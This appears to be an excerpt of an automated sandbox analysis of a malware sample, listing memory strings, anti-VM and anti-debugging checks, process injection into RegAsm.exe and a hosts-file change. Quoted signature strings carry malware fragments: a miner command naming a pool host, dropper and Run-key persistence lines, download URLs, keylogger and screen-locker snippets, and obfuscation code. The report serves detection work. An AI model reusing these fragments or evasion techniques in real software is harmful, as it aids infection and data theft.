        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpBinary or memory string: DetectVirtualMachine
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: *.xml.|!\qemu-system-i386.exe
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpBinary or memory string: HARDWARE\ACPI\RSDT\VBOX__
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: *.xml.|!\qemu-system-armel.exe
        Source: MpSigStub.exe, 00000023.00000003.18286860697.0000015B081A5000.00000004.00000001.sdmpBinary or memory string: %s%s\%s.exe%s%sVMwareVMware
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: (AntiVirtualPCAntiVirtualBoxAntiVmWare]
        Source: MpSigStub.exe, 00000023.00000003.18292431996.0000015B1BA3D000.00000004.00000001.sdmpBinary or memory string: Ven_VMware_
        Source: MpSigStub.exe, 00000023.00000003.18350843348.0000015B1B3CA000.00000004.00000001.sdmpBinary or memory string: VmWareMachine
        Source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmpBinary or memory string: +system\currentcontrolset\services\vboxguest
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: JE%Public%\Documents\Hyper-V\Virtual Hard Disks\*.|*|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: %SystemDrive%\ProgramData\Microsoft\Windows\Hyper-V\Snapshots\*.|*|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: *.txt.|!\qemu-system-armel.exe
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpBinary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
        Source: Foreign_Bank Account Details.exe, 00000001.00000002.17636064879.0000000002D19000.00000004.00000001.sdmp, RegAsm.exe, 00000008.00000002.21893055738.0000000002FF9000.00000004.00000001.sdmpBinary or memory string: Hyper-V PowerShell Direct Service
        Source: MpSigStub.exe, 00000023.00000003.18350289745.0000015B1B712000.00000004.00000001.sdmpBinary or memory string: 2-*.log.|!\Veeam.One.Collector.VMware.Host.exe
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: D?%ProgramData%\Microsoft\Windows\Hyper-V\*.|*|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpBinary or memory string: vmtoolsd
        Source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmpBinary or memory string: *.|!%ProgramFiles%\Android\Android Studio\qemu-system-x86_64.exe
        Source: MpSigStub.exe, 00000023.00000003.18288248948.0000015B1B1FB000.00000004.00000001.sdmpBinary or memory string: HSTR:Detects_VirtualPC_VMWare
        Source: MpSigStub.exe, 00000023.00000003.18260309272.0000015B0C57A000.00000004.00000001.sdmpBinary or memory string: pea_dynmem_detects_vmware
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: *.VMRS.|*|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: *.txt.|!\qemu-system-x86_64.exe
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: 83*|%systemroot%\System32\Vmsp.exe|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpBinary or memory string: pUnix file descriptiontargetjob\\vmware-host:Y DomainBigSpace resultiitem]
        Source: MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmpBinary or memory string: virtual hd
        Source: Foreign_Bank Account Details.exe, 00000001.00000002.17636064879.0000000002D19000.00000004.00000001.sdmp, RegAsm.exe, 00000008.00000002.21893055738.0000000002FF9000.00000004.00000001.sdmpBinary or memory string: Hyper-V Remote Desktop Virtualization Service
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpBinary or memory string: =mQ:#LowFiDetectsVmWareU
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpBinary or memory string: ifprocessexists("vboxtray.exe")and$
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpBinary or memory string: vmware svga ii
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpBinary or memory string: qemu-ga.exe
        Source: Foreign_Bank Account Details.exe, 00000001.00000002.17634657037.00000000022D0000.00000004.00000001.sdmpBinary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublishershell32advapi32USERPROFILE=windir=\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe\syswow64\msvbvm60.dll
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpBinary or memory string: ifprocessexists("vmwaretray.exe")thenexit
        Source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpBinary or memory string: *VMWARE*": IsVirtualPCPresent
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: *|%systemroot%\System32\Vmcompute.exe|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: *.vmgs.|*|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18334190857.0000015B1A60C000.00000004.00000001.sdmpBinary or memory string: IsVmWare]
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: *.rom.|!\qemu-system-armel.exe
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: *|%systemroot%\System32\Vmsp.exe|Microsoft-Hyper-V
        Source: RegAsm.exe, 00000008.00000002.21893055738.0000000002FF9000.00000004.00000001.sdmpBinary or memory string: vmicvss
        Source: MpSigStub.exe, 00000023.00000003.18242976274.0000015B0B50C000.00000004.00000001.sdmpBinary or memory string: 0123456789ABCDEF0123456789abcdef\Device\\SystemRootcoroutinenewproxyLua 5.1_VERSIONpairsipairs__modekv_Gcreateresumerunningstatuswrapyieldpea_epscn_islastpea_epcallnextpea_secmissizepea_epatstartlastsectpea_entrybyte60pea_entrybyte90pea_epiniatpea_usesuninitializedregspea_prefetchtrickspea_issuspiciouspea_isgenericpea_isreportedpea_aggressiveimportpea_deep_analysispea_enable_binlibpea_enable_lshashpea_many_importspea_self_modifying_codepea_track_direct_importspea_detects_vmpea_detects_vmwarepea_detects_virtualpcpea_is_delphipea_is_processpea_uses_single_steppingpea_uses_bound_exceptionspea_uses_div_by_zeropea_uses_int_overflowpea_uses_invalid_opcodespea_uses_unusual_breakpointpea_checks_if_debugged_documentedpea_disable_io_redirectionpea_suspicious_rebasepea_disable_drop_mz_onlypea_suspicious_stack_sizepea_suspicious_stack_geometrypea_suspicious_subsystempea_suspicious_timestamppea_suspicious_valignpea_suspicious_section_fsizepea_suspicious_section_namepea_suspicious_section_characteristicspea_aggressive_trim_wspea_16bitmachinepea_system_filepea_byte_reversed_hipea_suspicious_number_of_dirspea_force_unpackingpea_extended_pestaticpea_small_data_directory_countpea_multiple_relocs_same_locationpea_relocs_but_no_relocs_flagpea_suspicious_imagebasepea_no_section_tablepea_no_sectionspea_many_sectionspea_suspicious_image_sizepea_bound_imports_inside_imagepea_delay_load_imports_inside_imagepea_entrypoint_in_import_tablepea_entrypoint_in_headerpea_import_via_tlspea_epsec_not_executablepea_othermachine_imagepea_checks_teb_lasterrorpea_disable_vmprotectpea_checks_teb_laststatuspea_disable_thread_apicall_limitpea_deep_apicall_limitpea_dynmem_uses_div_by_zeropea_dynmem_uses_int_overflowpea_dynmem_uses_bound_exceptionspea_dynmem_uses_privinstrpea_dynmem_uses_breakpointspea_dynmem_uses_single_steppingpea_dynmem_uses_invalid_opcodespea_dynmem_uses_unusual_breakpointpea_dynmem_detects_vmpea_dynmem_detects_vmwarepea_dynmem_detects_virtualpcpea_dynmem_checks_if_debugged_docpea_dynmem_checks_if_debugged_undocpea_dynmem_kernel_scanpea_dynmem_self_modifying_codepea_dt_continue_after_unpackingpea_dt_continue_after_unpacking_damagedpea_loop_jmp_chainpea_droppedpea_dynmem_reads_vdll_codepea_verbose_vdll_readspea_scan_internal_datapea_isvbpcodepea_ARM_legacypea_ARM_big_endianpea_ARM_unpredictablepea_isappcontainerpea_checks_ntglobalflagpea_dynmem_checks_ntglobalflagpea_dynmem_checks_processheappea_dt_error_too_many_prefixespea_dt_error_too_many_operandspea_dt_error_bb_limitpea_executes_from_last_sectionpea_executes_from_resourcespea_memory_patchedpea_uses_sysenterpea_suspicious_resource_directory_sizepea_suspicious_import_directory_sizepea_invalid_ilt_entrypea_dmg_machinepea_dmg_filealignmentpea_dmg_pointertorawdatapea_dmg_virtualaddresspea_dmg_truncatedpea_dmg_special_sectionpea_dmg_relocationspea_dmg_overlapping_sectionspea_dmg_optional_magicpea_dmg_sizeofheaderspea_dmg_imagebasepea_dmg_imagesizepea_dmg_unsupportedpea_dmg_importspea_dmg_invaliddatapea_dmg_decompresspea_
        Source: Foreign_Bank Account Details.exe, 00000001.00000002.17636064879.0000000002D19000.00000004.00000001.sdmp, RegAsm.exe, 00000008.00000002.21893055738.0000000002FF9000.00000004.00000001.sdmpBinary or memory string: Hyper-V Data Exchange Service
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: *.toc.|!\qemu-system-i386.exe
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: %Public%\Documents\Hyper-V\Virtual Hard Disks\*.|*|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpBinary or memory string: http://pubs.vmware.com
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: "vmware"$bisvm=trueelseif$smodel="virtualbox"
        Source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmpBinary or memory string: SCSIDISKxxvmboxxxharddiskVMware
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpBinary or memory string: +ifprocessexists("vmwaretray.exe")thenexit
        Source: MpSigStub.exe, 00000023.00000003.18350843348.0000015B1B3CA000.00000004.00000001.sdmpBinary or memory string: VirtualMachineDetector
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpBinary or memory string: ,ifprocessexists("vboxservice.exe")thenexit
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: % *.txt.|!\qemu-system-x86_64.exe
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpBinary or memory string: ".VmDetector.VirtualMachineDetector
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpBinary or memory string: ifstringregexp($oobjectitem.name,"(?i)virtualbox|vmware|virtualpc|sandbox|333333|home-off-d5f0ac|microsof-2c393f|123|vwinxp-maltest")thenreturn1
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpBinary or memory string: 3svmcibex9
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpBinary or memory string: VMware Physical Disk Helper Service
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: &!*.toc.|!\qemu-system-aarch64.exe
        Source: MpSigStub.exe, 00000023.00000003.18282376211.0000015B1C133000.00000004.00000001.sdmpBinary or memory string: __tbt_isVirtualMachine
        Source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmpBinary or memory string: VBoxService.exe
        Source: MpSigStub.exe, 00000023.00000003.18336377296.0000015B1BE9E000.00000004.00000001.sdmpBinary or memory string: VMWARETRAY.EXEx
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: *.bin.|!\qemu-system-x86_64.exe
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: *.rom.|!\qemu-system-i386.exe
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: *.rom.|!\qemu-system-x86_64.exe
        Source: MpSigStub.exe, 00000023.00000003.18298458791.0000015B1AD5A000.00000004.00000001.sdmpBinary or memory string: w!#RANSMATTR:PeLodDynDetVmwarepea_isexe&(pea_dt_error_heur_exit_criteria|pea_dt_error_heur_API_limit|pea_dt_error_bb_limit)&pea_dynmem_detects_vmware
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: =8*.BIN.|%systemroot%\System32\Vmwp.exe|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmpBinary or memory string: KF*.|!%ProgramFiles(x86)%\Android\Android Studio\qemu-system-x86_64.exe
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpBinary or memory string: "SOFTWARE\VMware, Inc.\VMware Tools
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: *.img.|!\qemu-system-armel.exe
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeSystem information queried: ModuleInformation
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeFile opened: C:\Windows\SERVIC~1\NETWOR~1\
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeFile opened: C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\1.349.0.0_to_1.351.0.0_mpavbase.vdm._p
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeFile opened: C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeFile opened: C:\Windows\SERVIC~1\NETWOR~1\AppData\
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeFile opened: C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\mpavdlta.vdm
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeFile opened: C:\Windows\SERVIC~1\
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information queried: ProcessInformation
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D4ADEC FindFirstFileW,FindNextFileW,FindClose,FindClose,
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D4B030 FindNextFileW,FindClose,FindFirstFileW,
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D72504 FindFirstFileExW,FindNextFileW,FindClose,FindClose,
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650CFF810 FindFirstFileW,FindNextFileW,FindClose,CloseHandle,CloseHandle,

        Anti Debugging:

        barindex
        Hides threads from debuggersShow sources
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeThread information set: HideFromDebugger
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread information set: HideFromDebugger
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeProcess queried: DebugPort
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess queried: DebugPort
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D64A10 GetProcessHeap,
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess token adjusted: Debug
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_004012D8 mov ebx, dword ptr fs:[00000030h]
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_00402061 mov ebx, dword ptr fs:[00000030h]
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_0040191F mov ebx, dword ptr fs:[00000030h]
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D53BFC RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_012A7166 KiUserExceptionDispatcher,LdrInitializeThunk,
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: page read and write | page guard
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D6B530 SetUnhandledExceptionFilter,
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D6B798 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D53BFC RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D6BD68 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D6BF4C SetUnhandledExceptionFilter,

        HIPS / PFW / Operating System Protection Evasion:

        barindex
        Writes to foreign memory regionsShow sources
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 1390000
        Modifies the hosts fileShow sources
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile written: C:\Windows\System32\drivers\etc\hostsJump to behavior
        Source: unknownProcess created: C:\Windows\System32\wevtutil.exe C:\Windows\system32\wevtutil.exe install-manifest C:\Windows\TEMP\DFC5CBF6-B4C4-B49D-335D-ADBEBB78227A.man '/resourceFilePath:C:\ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocation\mpengine_etw.dll' '/messageFilePath:C:\ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocation\mpengine_etw.dll' '/parameterFilePath:C:\ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocation\mpengine_etw.dll'
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: pwinmgmts:\\localhost\root\securitycenter
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: <select * from antivirusproduct
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#hstr:win32/predator.ra2!mtb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: = stringreplace ( "
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: " , "n" , "mi" )
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: chrw ( bitxor ( asc (
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: = stringreverse ( "utmbjghxrnjxmtb" )
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#alf:trojandropper:win64/miner.rw!mtb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: xdi_destroykey
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: xdi_shutdown
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: xdi_decryptdata
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: hkey_local_machine\software\microsoft\windows\currentversion\run
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: miner.kek.gay:443 --cpu-no-yield --asm=auto --cpu-memory-pool=-1
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#tel:trojan:win32/covitse.pi!msr
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: fileinstall ( "c:\users\fud\desktop\11111111\corona.exe" , @appdatadir & "\z11062600\corona.exe" , 1 )
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: shellexecute ( @appdatadir & "\z11062600\corona.exe" , "" , @appdatadir & "\z11062600" )
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#hstr:allowlist:injector.autoit.mx
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: #autoit3wrapper_res_field=companyname|genesis venture investment co., ltd.
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: wisest<wisest@vip.qq.com>
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#alf:virtool:win32/autinject.g!mtb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: $xor = bitxor ( $xor , $len + $ii )
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: rtlupd64
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: execute ( "@appdatadir" ) & "\winlogons"
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: \windows\microsoft.net\framework\v2.0.50727\regasm.exe
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: startup ( "winlogons.exe" , "winlogons" , "+r" , "" )
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#trojan:win32/autoinjec.sa!mtb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: l_imagesearcharea ( @appdatadir & "\microsoft\1\che.bmp
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: lrun ( @tempdir & "scratch.bat" , @tempdir , @sw_hide )
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#hstr:win32/autoitinject.s1
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: enativ.com
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: regwrite ( "hkey_local_machine\software\microsoft\windows\currentversion\runonce
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: \enativ\4xnav12p.txt
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: = "http://download.enativ.com/nativ_v4.exe
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: http://portal.usanativ.com/sites/default/files/nativsetup.exe
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#hstr:win32/predator.ar_0109!mtb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: global $sdeouljcvthbiisnlmbthiecg = execute
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: stringreplace ( "skxpyvmtnwvrovjagkuhnqvobgbtrkxpyvmtnwvrovjagkuhnqvobgbinkxpyv
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: vobgbnkxpyvmtnwvrovjagkuhnqvobgb" , "kxpyvmtnwvrovjagkuhnqvobgb" , "" ) )
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: " & ".exe"
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: = stringsplit ( tcuuq (
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#alfper:clearlock!autoit
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: $overlay = guicreate ( "clearlock" , @desktopwidth , @desktopheight ,
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: _blockinputex ( 3 , "[:alpha:]|[:number:]|{enter}|{backspace}
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#alf:hstr:trojanspy:win32/keylogger.bad!bit
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: \\software\microsoft\windows\currentversion\run
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: nlogfiles-" & $date & "-" & $pwd & ".htm
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: >func _logkeypress ( $what2log )
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#alf:trojan:win32/autoitinject.aa!mtb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: dreturn execute ( "stringtobinary($
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: lexecute ( " bitxor($xxxxx, $i, $xx)" )
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: d= execute ( "mod($xxxxxxx, 256)" )
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: := execute ( "dllstructcreate(
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#alf:trojan:win32/cryptedautoit.sq!mtb
